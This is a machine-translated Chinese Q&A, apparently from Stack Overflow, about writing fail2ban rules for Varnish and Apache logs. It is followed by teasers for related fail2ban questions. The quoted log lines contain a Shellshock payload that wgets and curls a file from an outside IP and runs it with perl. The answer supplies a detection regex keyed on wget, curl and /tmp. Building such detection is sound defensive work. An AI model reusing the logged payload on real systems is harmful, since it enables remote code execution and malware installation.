当前有一台服务器具有2个IP,一个内部和一个外部,外部带有清漆,内部的apache后端默认运行fail2ban。

最近,该网站关闭并返回503错误,结果是fail2ban禁止清漆与apache-noscript规则与apache后端进行对话。 此后,我为该IP地址添加了一个排除项,因此不会再次被禁止,但是理想情况下,如果将来该客户端被禁止,我希望这样做。

从Apache日志

SERVER_IP - - [14/Jan/2015:16:52:57 +0000] "GET /phppath/php HTTP/1.1" 404 438 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS! #";system(\"wget http://69.64.75.181/img.bin -O /tmp/s.pl;curl -O /tmp/s.pl http://69.64.75.181/img.bin;perl /tmp/s.pl;rm -rf s.pl*\");'"

从清漆日志

CLIENT_IP - - [14/Jan/2015:16:52:57 +0000] "GET http://SERVER_IP/phppath/php HTTP/1.1" 404 226 "-" "() { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://69.64.75.181/img.bin -O /tmp/s.pl;curl -O /tmp/s.pl http://69.64.75.181/img.bin;perl /tmp/s.pl;rm -rf s.pl*");'"

只需复制我的apache-noscript定义以使用varnishlogs即可,例如:

[apache-noscript]

enabled  = true
port     = http,https
filter   = apache-noscript
logpath  = /var/log/apache*/*error.log
maxretry = 2 

成为

[varnish-noscript]

enabled  = true
port     = http,https
filter   = apache-noscript
logpath  = /var/log/varnish/varnishncsa.log
maxretry = 2

我注意到apache没有脚本过滤器具有以下failregex

failregex = ^%(_apache_error_client)s (File does not exist|script not found or unable to stat): /\S*(\.php|\.asp|\.exe|\.pl)\s*$
            ^%(_apache_error_client)s script '/\S*(\.php|\.asp|\.exe|\.pl)\S*' not found or unable to stat\s*$

我想主要的问题是,对于上面的输出中的varnishlog来说,这是否仍然有效,如果不是的话,我需要什么failregex?

非常感谢。

[编辑]事实证明,这是一个偶然的现象,Noscript禁止了,但上述日志条目没有这样做。 现在为上述日志条目制定一个fail2ban正则表达式。

#1楼 票数:0

好的,我按照以下规则创建了一个新监狱,以解决上述问题:

failregex = ^<HOST>.*\[[^]]+\].*\".+\"\s[1-9][0-9][0-9]\s[0-9]+\s\".*\"\s\".*(\/tmp|\/usr\/bin|curl\s+|\s*wget\s+|\.bin\s+).*\"$

请随时提出改进规则以捕获上述日志行。

失败正则表达式可同时用于apache访问日志和varnish csa日志。

  ask by Alasdair translate from so

未解决问题?本站智能推荐:

1回复

Fail2ban过滤器apache-noscript与apache日志中的条目不匹配

我正在使用fail2ban 9.6.1标准过滤器apache-common.conf和apache-noscript.conf。 但是,apache-noscript与apache error_log中的此类条目不匹配: 欢迎任何建议。 谢谢。
1回复

为Apache2创建fail2ban自定义规则

我正在尝试创建一个自定义规则,以禁止尝试登录过多次的用户。 触发器是apache日志文件中的单词“ CheckLogin ”。 日志摘录: 当前过滤器: /etc/fail2ban/filter.d/test.conf : 当前的jail.local : 过滤器failrege
1回复

使用Fail2ban限制机器人流量

我们在 Suse-Linux-Enterprise Server 中配置了 Fail2ban 以限制机器人流量。 下面是在 jail.local 文件中完成的配置。 下面是正则表达式配置。 以下是日志格式: 当我运行 Regex 测试时,我们得到以下结果。 结果 问题是当我们连续点击 Google
1回复

Fail2ban工作正则表达式以匹配apache-noscript

我已经尝试了一些版本的fail2ban,以防出现一些错误。 apache-noscript中的正则表达式在apache错误日志下不匹配(服务器版本:Apache / 2.4.38(Debian): [2019年7月24日星期三14:24:12.697295] [core:info] [
1回复

Fail2ban与apache过滤器匹配40次

我将我的fail2ban从0.9.x更新到0.10.x 在那之后,我的自定义过滤器不再起作用了,此过滤器的功能是在404页上的4次点击(未找到页面)后禁止ip 我在failregex中发现了一个问题。 在这篇文章中,我发现了一些有关此问题的信息,因为ip6-support https
2回复

GLPI的Fail2ban

我想知道是否有人和我有同样的问题,或者是否有人知道如何调试它: 我目前正在寻找如何禁止试图连接到我的 GLPI 以保护它免受暴力破解的人。 这就是我安装“Fail2ban”的原因: 但是,当我尝试使用此命令查看哪些行与我的正则表达式匹配时: 我没有结果(匹配 0 行)。 然后,我决定将这个正则表达式
1回复

在joomla上配置fail2ban

大家好,我正在尝试使用fail2ban配置joomla,所以我创建了文件/etc/fail2ban/filter.d/joomla-error.conf 并添加了failregex,如下所示: 将这段代码添加到jail.conf 日志路径是正确的,但是每次我尝试重新加载fail2ba
1回复

fail2ban和特定的RegEx

我需要一个fail2ban过滤器的帮助,该过滤器应该与openHAB中失败的登录尝试相匹配。 这些都是 A) 错误密码和 B) 不存在用户的日志条目示例。 我玩过https://regex101.com并想出了以下 RegEx(我的第一个接触点); 虽然它在 regex101-tool 中匹配上述示